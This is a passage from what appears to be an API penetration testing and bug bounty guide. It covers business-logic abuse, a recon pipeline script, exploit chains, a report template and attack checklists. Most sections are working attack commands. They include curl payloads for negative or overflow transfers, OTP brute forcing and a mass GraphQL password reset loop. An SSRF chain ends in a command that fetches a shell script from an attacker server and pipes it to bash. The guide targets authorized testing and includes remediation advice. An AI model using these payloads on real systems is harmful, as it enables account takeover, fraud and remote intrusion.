with ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(redeem_coupon) for _ in range(50)]
for future in futures:
future.result()
Integer Overflow / Underflow
# Negative numbers — quantity manipulation
curl -X POST https://api.target.com/v1/cart/add \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"product_id": 1, "quantity": -100}'
# Large numbers causing overflow
curl -X POST https://api.target.com/v1/transfer \
-H "Authorization: Bearer $TOKEN" \
-d '{"amount": 99999999999999999999, "to": "attacker"}'
curl -X POST https://api.target.com/v1/transfer \
-H "Authorization: Bearer $TOKEN" \
-d '{"amount": -1, "to": "attacker"}'
# Float manipulation
curl -X POST https://api.target.com/v1/transfer \
-H "Authorization: Bearer $TOKEN" \
-d '{"amount": 0.00000001, "to": "attacker"}'
# String concatenation in numeric fields
curl -X POST https://api.target.com/v1/transfer \
-H "Authorization: Bearer $TOKEN" \
-d '{"amount": "1000000", "to": "attacker"}'
OTP/Forgot Password Abuse
# Test if OTP is tied to session
curl -X POST https://api.target.com/v1/forgot-password \
-H "Content-Type: application/json" \
-d '{"email": "victim@test.com"}'
# Try reusing the same OTP
curl -X POST https://api.target.com/v1/reset-password \
-H "Content-Type: application/json" \
-d '{"otp": "123456", "email": "victim@test.com", "new_password": "Hacked123!"}'
# Try OTP bypass via response manipulation
curl -X POST https://api.target.com/v1/reset-password \
-H "Content-Type: application/json" \
-d '{"otp": "*", "email": "victim@test.com", "new_password": "Hacked123!"}'
# Try OTP via race condition (guess before rate limit kicks in)
parallel -j 20 curl -X POST https://api.target.com/v1/reset-password \
-H "Content-Type: application/json" \
-d '"{\"otp\": \"{1}\", \"email\": \"victim@test.com\", \"new_password\": \"Hacked123!\"}"' ::: {100000..100020}
Phase 7: Automation — Build Your API Recon Pipeline
#!/bin/bash
# api-recon-pipeline.sh — full automated API recon
# Usage: ./api-recon-pipeline.sh target.com
TARGET=$1
OUTDIR="api_recon_$TARGET"
mkdir -p $OUTDIR/{urls,subdomains,params,swagger,ffuf}
echo "[+] Starting API Recon Pipeline for $TARGET"
echo "[+] Time: $(date)"
echo ""
# === Phase 1: Passive URL Collection ===
echo "[*] Passive URL collection"
gau --subs $TARGET | sort -u > $OUTDIR/urls/gau_urls.txt
waybackurls $TARGET | sort -u > $OUTDIR/urls/wayback_urls.txt
waymore -i $TARGET -mode U -o U 2>/dev/null | sort -u > $OUTDIR/urls/waymore_urls.txt
# Combine all passive URLs
cat $OUTDIR/urls/*.txt | sort -u > $OUTDIR/urls/all_passive_urls.txt
# === Phase 2: Extract API Endpoints ===
echo "[*] Extracting API endpoints"
cat $OUTDIR/urls/all_passive_urls.txt | grep -iE \
"api|rest|graphql|swagger|v[0-9]|\.json|\.xml|\.yaml|\.yml" \
| sort -u > $OUTDIR/urls/api_endpoints.txt
echo " Found $(wc -l < $OUTDIR/urls/api_endpoints.txt) potential API endpoints"
# === Phase 3: JavaScript Analysis ===
echo "[*] Extracting endpoints from JavaScript files"
cat $OUTDIR/urls/all_passive_urls.txt | grep -E "\.js$" | sort -u > $OUTDIR/urls/js_files.txt
while read -r js_url; do
curl -s --connect-timeout 5 "$js_url" 2>/dev/null | \
grep -oP '["'"'"']https?://[^"'"'"']*'"$TARGET"'[^"'"'"']*'" >> $OUTDIR/urls/js_endpoints_raw.txt
done < $OUTDIR/urls/js_files.txt
sort -u $OUTDIR/urls/js_endpoints_raw.txt -o $OUTDIR/urls/js_endpoints.txt
# === Phase 4: Subdomain Enumeration ===
echo "[*] Subdomain enumeration"
subfinder -d $TARGET -all -silent > $OUTDIR/subdomains/subfinder.txt
# Filter live
cat $OUTDIR/subdomains/subfinder.txt | httpx -silent -ports 80,443,8080,8443,3000,9090,5000,7000,8000 \
> $OUTDIR/subdomains/live_subs.txt
# Filter API-related subdomains
grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage" \
$OUTDIR/subdomains/live_subs.txt > $OUTDIR/subdomains/api_subs.txt
echo " Found $(wc -l < $OUTDIR/subdomains/live_subs.txt) live subdomains"
echo " Found $(wc -l < $OUTDIR/subdomains/api_subs.txt) API-related subdomains"
# === Phase 5: Swagger/OpenAPI Discovery ===
echo "[*] Swagger/OpenAPI discovery"
swagger_paths=(
"/swagger.json" "/swagger.yaml" "/api-docs" "/openapi.json" "/openapi.yaml"
"/v2/api-docs" "/v3/api-docs" "/swagger-resources" "/docs" "/redoc"
"/api/swagger.json" "/api/v1/swagger.json" "/api/v2/swagger.json"
)
for sub in $(cat $OUTDIR/subdomains/api_subs.txt); do
for path in "${swagger_paths[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 "$sub$path" 2>/dev/null)
if [ "$status" = "200" ]; then
echo "$sub$path" >> $OUTDIR/swagger/found_swagger.txt
echo " FOUND: $sub$path"
fi
done
done
# === Phase 6: Directory Fuzzing ===
echo "[*] Directory fuzzing on discovered endpoints"
ffuf -u https://api.$TARGET/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt \
-mc all -fc 404 -fs 0 \
-o $OUTDIR/ffuf/api_directories.json -of json -s 2>/dev/null
ffuf -u https://$TARGET/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt \
-mc all -fc 404 -fs 0 \
-o $OUTDIR/ffuf/root_directories.json -of json -s 2>/dev/null
# === Phase 7: Parameter Discovery ===
echo "[*] Parameter discovery"
arjun -i $OUTDIR/urls/api_endpoints.txt \
-o $OUTDIR/params/arjun_params.json \
--timeout 10 -q 2>/dev/null
# === Phase 8: Nuclei API Scanning ===
echo "[*] Running nuclei API scans"
nuclei -l $OUTDIR/subdomains/live_subs.txt \
-t ~/nuclei-templates/http/exposed-panels/ \
-t ~/nuclei-templates/misconfiguration/ \
-o $OUTDIR/nuclei_results.txt -silent 2>/dev/null
nuclei -l $OUTDIR/subdomains/api_subs.txt \
-t ~/nuclei-templates/http/exposures/ \
-o $OUTDIR/nuclei_api_results.txt -silent 2>/dev/null
# === Summary ===
echo ""
echo "[+] Recon Complete!"
echo "[+] Output directory: $OUTDIR/"
echo ""
echo " Passive URLs: $(wc -l < $OUTDIR/urls/all_passive_urls.txt)"
echo " API Endpoints: $(wc -l < $OUTDIR/urls/api_endpoints.txt)"
echo " Live Subdomains: $(wc -l < $OUTDIR/subdomains/live_subs.txt)"
echo " API Subdomains: $(wc -l < $OUTDIR/subdomains/api_subs.txt)"
echo " Swagger Found: $(wc -l < $OUTDIR/swagger/found_swagger.txt 2>/dev/null || echo 0)"
echo ""
echo "[+] Next steps:"
echo " 1. Review $OUTDIR/urls/api_endpoints.txt for hidden endpoints"
echo " 2. Test Swagger docs at $OUTDIR/swagger/found_swagger.txt"
echo " 3. Check $OUTDIR/params/arjun_params.json for hidden parameters"
echo " 4. Run auth bypass tests against discovered endpoints"
echo " 5. Run injection tests (SQLi, NoSQLi, Cmd injection, SSRF)"
Phase 8: Exploit Chaining — From Recon to Critical Finding
Chain Example 1: Blind SSRF → Internal Service Discovery → RCE
# Step 1: Find an endpoint that fetches URLs
# Avatar upload/profile image endpoint
curl -s "https://api.target.com/v1/profile/avatar?url=http://example.com/test.jpg"
# Step 2: Test for SSRF
curl -s "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:8080/"
# Response contains internal HTML → SSRF confirmed
# Step 3: Port scan internal network via SSRF
for port in 80 443 3000 5000 6379 8080 8443 9200 27017 22 21 3306 5432 8000 9000 9090; do
status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 \
"https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:$port/")
echo "Port $port: $status"
done
# Step 4: Discover internal admin panel
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/"
# Returns internal admin panel HTML
# Step 5: Explore admin panel functionality
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy"
# Found deployment endpoint
# Step 6: Exploit for RCE
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=ls"
# Command execution confirmed
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=curl+http://ATTACKER_SERVER/shell.sh+|+bash"
# Reverse shell established → Full internal network access
Chain Example 2: IDOR → Mass Assignment → Account Takeover
# Step 1: Discover user profile endpoint with ID
curl -s "https://api.target.com/v1/users/me" -H "Authorization: Bearer $TOKEN"
# {"id": 1337, "name": "Victim", "email": "victim@test.com", "role": "user"}
# Step 2: Test IDOR — try other user IDs
curl -s "https://api.target.com/v1/users/1" -H "Authorization: Bearer $TOKEN"
# {"id": 1, "name": "Admin", "email": "admin@test.com", "role": "admin"}
# IDOR confirmed — can access any user's data
# Step 3: Try mass assignment on PUT endpoint
curl -X PUT "https://api.target.com/v1/users/1" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"role": "user"}' # Try demoting admin
# Step 4: If direct role change doesn't work, try extra fields
curl -X PUT "https://api.target.com/v1/users/1" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"email": "attacker@test.com"}'
# Step 5: Change admin email → trigger password reset
curl -X POST "https://api.target.com/v1/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email": "attacker@test.com"}'
# Step 6: Reset admin password → full admin account takeover
Chain Example 3: GraphQL Introspection → Batching → Data Exfiltration
# Step 1: Introspect GraphQL schema
inql -t https://api.target.com/graphql -d
# Found hidden mutation: "resetUserPassword(userId: ID!, newPassword: String!)"
# Step 2: Try batching to bypass rate limits
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d '[
{"query": "mutation { resetUserPassword(userId: 1, newPassword: \"Hacked123!\") { success } }"},
{"query": "mutation { resetUserPassword(userId: 2, newPassword: \"Hacked123!\") { success } }"},
{"query": "mutation { resetUserPassword(userId: 3, newPassword: \"Hacked123!\") { success } }"}
]'
# Step 3: Enumerate user IDs and reset all
for user_id in $(seq 1 100); do
echo "{\"query\": \"mutation { resetUserPassword(userId: $user_id, newPassword: \\\"Hacked123!\\\") { success } }\"}"
done > batch_reset.json
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d "$(cat batch_reset.json)"
Reporting & Documentation Template
# Vulnerability: [Title]
**Severity:** Critical / High / Medium / Low
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Endpoint:** `POST /api/v1/users/forgot-password`
**Category:** [OWASP API#]
**CWE:** [CWE-ID]
**Date Discovered:** YYYY-MM-DD
Description
[Clear, concise description of the vulnerability and its business impact]
Example:
The /api/v1/users/{id} endpoint lacks proper authorization checks, allowing any authenticated user to access the profile data of any other user by simply changing the id parameter. This exposes sensitive personally identifiable information (PII) including email addresses, phone numbers, and billing details of all platform users.
Steps to Reproduce
- Authenticate as a low-privilege user and obtain a valid JWT token:
curl -X POST https://api.target.com/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "attacker@test.com", "password": "Password123!"}'
- Attempt to access another user's profile by modifying the user ID:
curl -s https://api.target.com/v1/users/1 \
-H "Authorization: Bearer $LOW_PRIV_TOKEN"
Observe that admin user data is returned without authorization.
Enumerate all users to confirm mass data exposure:
for id in $(seq 1 1000); do
curl -s "https://api.target.com/v1/users/$id" \
-H "Authorization: Bearer $TOKEN" | jq -r '.email // empty'
done
Proof of Concept
Minimal Reproduction
#!/bin/bash
# IDOR PoC — extracts all user emails
TOKEN="eyJhbGciOiJIUzI1NiIs..." # Low-privilege user token
BASE="https://api.target.com"
echo "[+] Enumerating users via IDOR..."
for id in $(seq 1 10); do
response=$(curl -s "$BASE/v1/users/$id" -H "Authorization: Bearer $TOKEN")
email=$(echo "$response" | jq -r '.email // "N/A"')
role=$(echo "$response" | jq -r '.role // "N/A"')
echo "User $id: $email (Role: $role)"
done
Sample Output
[+] Enumerating users via IDOR...
User 1: admin@target.com (Role: admin)
User 2: user1@target.com (Role: user)
User 3: user2@target.com (Role: user)
User 4: vip@target.com (Role: premium)
User 5: support@target.com (Role: support)
HTTP Request/Response
Request:
GET /v1/users/1 HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Accept: application/json
Response:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1,
"email": "admin@target.com",
"name": "Admin User",
"role": "admin",
"phone": "+1-555-0123",
"address": "123 Admin St, San Francisco, CA",
"payment_method": "visa_****_4242",
"billing_history": ["Invoice #INV-001", "Invoice #INV-002"]
}
Impact
[What can an attacker actually achieve? Be specific about data exposure, financial loss, reputational damage, etc.]
Data Exposure:
- Full PII (names, emails, phone numbers, addresses) of all 100,000+ platform users
- Payment method metadata (card type, last 4 digits, expiry)
- Internal user role assignments revealing admin accounts
Account Takeover Vector:
- The exposed email addresses can be used with the
/api/v1/auth/forgot-passwordendpoint to initiate password resets - Combined with the OTP rate-limit bypass (see Finding #2), an attacker can achieve mass account takeover
CVSS 3.1 Calculation:
- AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N → Score: 8.1 (High)
- Confidentiality: High — full PII database exposed
- Integrity: High — can modify victim profiles (PUT endpoint also lacks auth)
- Availability: None
Remediation
Immediate Fix (1-2 days)
# Implement proper ownership checks on all object-level endpoints
@app.route('/api/v1/users/<user_id>', methods=['GET'])
def get_user(user_id):
current_user = get_jwt_identity()
# Verify the requesting user owns this resource OR has admin role
if current_user['id'] != int(user_id) and 'admin' not in current_user['roles']:
return jsonify({"error": "Unauthorized"}), 403
user = User.query.get(user_id)
return jsonify(user.to_dict())
Short-term Fix (1 week)
- Implement proper RBAC — define roles (user, moderator, admin, superadmin) with explicit permission matrices
- Use UUIDs instead of sequential integers for object references (prevents enumeration but does not fix the underlying auth issue — defense in depth)
- Add rate limiting on all sensitive GET endpoints to slow enumeration attempts
Long-term Fix (1 month)
- Adopt OWASP API Security best practices — implement a centralized authorization layer (e.g., OPA, Casbin, or custom middleware)
-
Regular automated API security scanning in CI/CD pipeline using tools like:
-
nucleiwith custom API templates -
mitmproxy2swagger+ddosifyfor contract testing - OWASP ZAP API scans
-
- Penetration testing — schedule quarterly API-specific pentests
References
- OWASP API Security Top 10: API1:2023 — Broken Object Level Authorization
- CWE-284: Improper Access Control (Authorization)
- CWE-639: Authorization Bypass Through User-Controlled Key
- PortSwigger Research: IDOR — Insecure Direct Object References
Burp Suite Professional — Macro-Based Re-testing
<!-- Import into Burp as Session Handling Rule -->
<macro>
<macroItem>
<request>
<url>https://api.target.com/v1/users/1</url>
<headers>
<header>Authorization: Bearer $TOKEN$</header>
</headers>
</request>
<check>response.code != 403</check>
</macroItem>
</macro>
OWASP API Security Top 10 (2023) Quick Reference
| API# | Category | What to Test | Common Bounty Range |
|---|---|---|---|
| API1:2023 | Broken Object Level Authorization | IDOR on any object reference (users, orders, invoices) | $500-$5,000 |
| API2:2023 | Broken Authentication | JWT bypass, weak rate limits, password reset abuse | $1,000-$10,000 |
| API3:2023 | Broken Object Property Level Mapping | Mass assignment, extra fields in JSON payloads | $500-$3,000 |
| API4:2023 | Unrestricted Resource Consumption | DoS via deep pagination, batch queries, large payloads | $250-$2,000 |
| API5:2023 | Broken Function Level Authorization | Vertical privilege escalation (user→admin) | $1,000-$8,000 |
| API6:2023 | Unrestricted Access to Sensitive Business Flows | Automated abuse (coupons, votes, raffles, signups) | $500-$5,000 |
| API7:2023 | Server Side Request Forgery | URL fetching endpoints, file uploads, webhooks | $1,000-$15,000 |
| API8:2023 | Security Misconfiguration | CORS, error handling, default creds, verbose errors | $250-$2,000 |
| API9:2023 | Improper Inventory Management | Old API versions, staging/dev endpoints, debug routes | $250-$1,500 |
| API10:2023 | Unsafe Consumption of APIs | API-to-API trust issues, lack of input validation on downstream | $500-$4,000 |
Essential Tools Cheatsheet
| Tool | Purpose | Install Command |
|---|---|---|
| gau | Passive URL collection (Wayback, AlienVault, CommonCrawl) | go install github.com/lc/gau/v2/cmd/gau@latest |
| httpx | HTTP probing — probe for live hosts | go install github.com/projectdiscovery/httpx/cmd/httpx@latest |
| ffuf | Directory / parameter / VHost fuzzing | go install github.com/ffuf/ffuf@latest |
| arjun | Hidden parameter discovery | pip install arjun |
| inql | GraphQL analysis (Burp extension + standalone) | BApp Store or pip install inql
|
| graphw00f | GraphQL fingerprinting | git clone https://github.com/dolevf/graphw00f |
| jwt_tool | JWT manipulation, cracking, scanning |
pip install pyjwt + git clone https://github.com/ticarpi/jwt_tool
|
| jwt-cracker | JWT secret brute-force | pip install pyjwt |
| waymore | Wayback Machine scraper (more data than gau) | pip install waymore |
| subfinder | Passive subdomain discovery | go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest |
| nuclei | Template-based vulnerability scanning | go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest |
| amass | OSINT + brute-force subdomain enumeration | go install github.com/OWASP/Amass/v4/.../amass@master |
| clairvoyance | GraphQL introspection bypass | pip install clairvoyance |
| graphqlmap | Interactive GraphQL exploitation | git clone https://github.com/swisskyrepo/GraphQLmap |
| linkfinder | Extract endpoints from JavaScript | git clone https://github.com/GerbenJavado/LinkFinder |
| x8 | Hidden parameter fuzzer (better than Arjun for some cases) | git clone https://github.com/Sh1Yo/x8 |
| mitmproxy2swagger | Convert captured traffic to OpenAPI spec | pip install mitmproxy2swagger |
| ddosify | Load testing and rate-limit testing | go install github.com/ddosify/ddosify@latest |
| jsubfinder | JavaScript subdomain discovery | go install github.com/ThreatUnkown/jsubfinder@latest |
Additional Attack Checklists
Checklist: API Authentication Testing
- [ ] Test with no auth header
- [ ] Test with empty auth header
- [ ] Test with null auth header
- [ ] Test with arbitrary token
- [ ] Test JWT algorithm confusion (RS256→HS256)
- [ ] Test JWT "none" algorithm
- [ ] Test JWT JWK injection
- [ ] Test JWT kid injection (path traversal, SQLi)
- [ ] Test JWT expired token acceptance
- [ ] Test JWT claim modification (role escalation)
- [ ] Test API key in URL parameters
- [ ] Test API key in request body
- [ ] Test API key in headers (X-API-Key, X-Token, etc.)
- [ ] Test rate limit bypass via IP spoofing headers
- [ ] Test rate limit bypass via HTTP method alternation
- [ ] Test rate limit bypass via parameter pollution
Checklist: Authorization Testing
- [ ] Test IDOR on user IDs (sequential enumeration)
- [ ] Test IDOR on UUIDs (if pattern predictable)
- [ ] Test IDOR on invoices, orders, tickets, messages
- [ ] Test mass IDOR via parameter pollution (
?id=1&id=2) - [ ] Test mass IDOR via array parameters (
?id[]=1&id[]=2) - [ ] Test BFLA — horizontal (same-role user accessing other users' data)
- [ ] Test BFLA — vertical (low-priv user accessing admin endpoints)
- [ ] Test mass assignment on POST/PUT/PATCH endpoints
- [ ] Test hidden parameters that affect permissions
Checklist: Injection Testing
- [ ] Test SQLi in GET parameters
- [ ] Test SQLi in POST JSON body
- [ ] Test SQLi in headers
- [ ] Test NoSQLi in JSON body (
$ne,$regex,$gt,$where) - [ ] Test command injection in parameters
- [ ] Test command injection in file upload filenames
- [ ] Test blind command injection with OOB (Collaborator)
- [ ] Test SSRF on URL-fetching endpoints
- [ ] Test SSRF on file upload/avatar/profile endpoints
- [ ] Test SSRF to cloud metadata endpoints (AWS/GCP/Azure/Alibaba)
- [ ] Test SSRF to internal services
- [ ] Test XXE in XML-based API endpoints
Checklist: Business Logic Testing
- [ ] Test race conditions (coupon redemption, money transfer, checkout)
- [ ] Test integer overflow/underflow (negative quantities, huge amounts)
- [ ] Test OTP bypass (wildcards, reuse, session decoupling)
- [ ] Test price manipulation in cart/checkout
- [ ] Test coupon/ promo code abuse (stacking, reusing, race condition)
- [ ] Test pagination abuse to access hidden data
- [ ] Test sort/filter injection (sorting by unexposed fields)
Checklist: GraphQL-Specific Testing
- [ ] Test introspection (standard query)
- [ ] Test introspection bypass (different content-type, GET request)
- [ ] Test batching to bypass rate limits
- [ ] Test deeply nested queries for DoS
- [ ] Test field duplication for resource exhaustion
- [ ] Test alias abuse (thousands of aliases in one query)
- [ ] Test argument injection (SQLi, NoSQLi within GraphQL args)
- [ ] Test authorization — can User A query User B's data?
- [ ] Test mutations — can unauthenticated user call mutations?
- [ ] Test directive-based auth bypass (
@skip,@include)
Final Methodology — The API Pentest Flowchart
┌─────────────────────┐
│ Define Scope & │
│ Get Authorization │
└─────────┬───────────┘
│
┌─────────▼───────────┐
│ Phase 1: Recon │
│ - Passive (gau, │
│ wayback, crt.sh) │
│ - Active (ffuf, │
│ subfinder) │
└─────────┬───────────┘
│
┌─────────▼───────────┐
│ Phase 2: Fingerprint │
│ - Identify API type │
│ - Find Swagger/docs │
│ - Extract endpoints │
└─────────┬───────────┘
│
┌───────────────┼───────────────┐
│ │ │
┌─────────▼────────┐ ┌───▼──────┐ ┌──────▼─────────┐
│ Phase 3: Auth │ │Phase 4: │ │ Phase 5: │
│ & AuthZ Testing │ │Injection │ │ Business Logic │
│ - JWT manipulation│ │ - SQLi │ │ - Race cond. │
│ - IDOR/BOLA │ │ - NoSQLi │ │ - Mass assign │
│ - BFLA │ │ - SSRF │ │ - OTP bypass │
│ - Mass assign │ │ - Cmd inj│ │ - Pricing bugs │
└─────────┬────────┘ └───┬──────┘ └──────┬─────────┘
│ │ │
└───────────────┼───────────────┘
│
┌─────────▼───────────┐
│ Phase 6: Exploit │
│ Chaining │
│ - Combine findings │
│ - Escalate impact │
│ - Demonstrate RCE │
└─────────┬───────────┘
│
┌─────────▼───────────┐
│ Phase 7: Report │
│ - Write findings │
│ - Provide PoC │
│ - Recommend fixes │
│ - Retest fixes │
└─────────────────────┘
Key Principles to Remember
Every undocumented endpoint is a potential bypass. The endpoints not in the Swagger docs are the ones most likely to lack proper auth.
If it's not in the documentation, test it harder. Hidden endpoints, old API versions (v1, v2), debug endpoints, and staging subdomains are goldmines.
Authentication bypass on one endpoint means trying it on every endpoint. If you find a JWT "none" algorithm works on
/v1/users, it will likely work on/v1/admin/userstoo.Business logic > technical complexity for the highest bounties. Race conditions on financial transactions, coupon stacking, and OTP bypasses often pay more than straightforward SQLi.
Chain everything. A low-severity IDOR + a medium-severity rate-limit bypass = critical account takeover. Never report findings in isolation — always ask "what can I combine this with?"
APIs don't have visual feedback. Unlike web apps where you can see if a button appeared, API testing requires careful analysis of response differences — status codes, response body length, timing differences, and error messages all matter.
Test in this order: Recon → Auth → AuthZ → Injection → Business Logic. Don't jump to SQLi before you've mapped the full endpoint surface and tested for auth bypasses.
Stay organized. Use Burp Collections, Postman environments, or just organized curl scripts. The tester who can reproduce a finding reliably wins over the one who found it by accident.
Happy hunting. Stay authorized, stay methodical, and dig deeper than everyone else.
This guide is for authorized penetration testing and bug bounty hunting only. All techniques should be performed against targets you have explicit written permission to test. Unauthorized testing is illegal under the CFAA and similar laws worldwide.
GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

Top comments (0)